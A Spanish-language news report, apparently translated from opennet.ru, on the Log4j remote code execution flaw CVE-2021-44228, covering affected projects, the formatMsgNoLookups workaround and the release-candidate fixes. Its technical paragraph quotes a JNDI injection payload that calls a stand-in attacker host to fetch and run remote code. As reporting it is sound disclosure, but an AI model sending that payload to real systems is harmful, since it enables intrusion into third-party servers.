Vulnerabilidad catastrófica en Apache Log4j que afecta a muchos proyectos de Java

En Apache Log4j, un popular marco para la gestión de registros en aplicaciones Java, se ha identificado una vulnerabilidad crítica que permite la ejecución de código arbitrario al registrar un valor especialmente formateado en el formato «{jndi:URL}». Un ataque puede llevarse a cabo en aplicaciones Java que registran valores obtenidos de fuentes externas, como al mostrar valores problemáticos en mensajes de error.

Se observa que casi todos los proyectos que utilizan marcos como Apache Struts, Apache Solr, Apache Druid o Apache Flink son vulnerables, incluidos Steam, Apple iCloud, clientes y servidores del juego Minecraft. Se espera que la vulnerabilidad cause una ola de ataques masivos a aplicaciones corporativas, repitiendo la historia de vulnerabilidades críticas en el marco Apache Struts, que se estima se utiliza en el 65% de las aplicaciones web de las empresas de la lista Fortune 100. Además, ya se han registrado intentos de escanear la red en busca de sistemas vulnerables.

El problema se agrava ya que se ha publicado un exploit funcional, pero las correcciones para las ramas estables no se han formulado en este momento. Aún no se ha asignado un identificador CVE. La corrección se incluye solo en la rama de prueba log4j-2.15.0-rc1. Como solución alternativa para bloquear la vulnerabilidad, se recomienda establecer el parámetro log4j2.formatMsgNoLookups en true.

El problema fue causado por el hecho de que log4j soporta el manejo de máscaras especiales «{}» en las cadenas registradas, que pueden ejecutar consultas JNDI (Interfaz de Nombres y Directorios de Java). El ataque consiste en pasar una cadena con una sustitución «${jndi:ldap://attacker.com/a}», cuya procesamiento hará que log4j envíe a servidor attacker.com una consulta LDAP de la ruta a la clase de Java. La ruta devuelta el servidor del atacante (por ejemplo, http://second-stage.attacker.com/Exploit.class) será cargada y ejecutada en el contexto del proceso actual, lo que permite al atacante lograr la ejecución de código arbitrario en el sistema con los derechos de la aplicación actual.

Adición 1: Se ha asignado el identificador CVE-2021-44228 a la vulnerabilidad.

Adición 2: Se ha descubierto una forma de eludir la protección añadida en la versión log4j-2.15.0-rc1. Se propone una nueva actualización log4j-2.15.0-rc2 con una protección más completa contra la vulnerabilidad. En el código se destaca un cambio relacionado con la falta de finalización abrupta en caso de usar una URL JNDI malformada.

Fuente: opennet.ru

Compra un hosting fiable para sitios web con protección contra DDoS, servidores VPS VDS 🔥 Compra un hosting fiable para sitios web con protección contra DDoS, servidores VPS VDS | ProHoster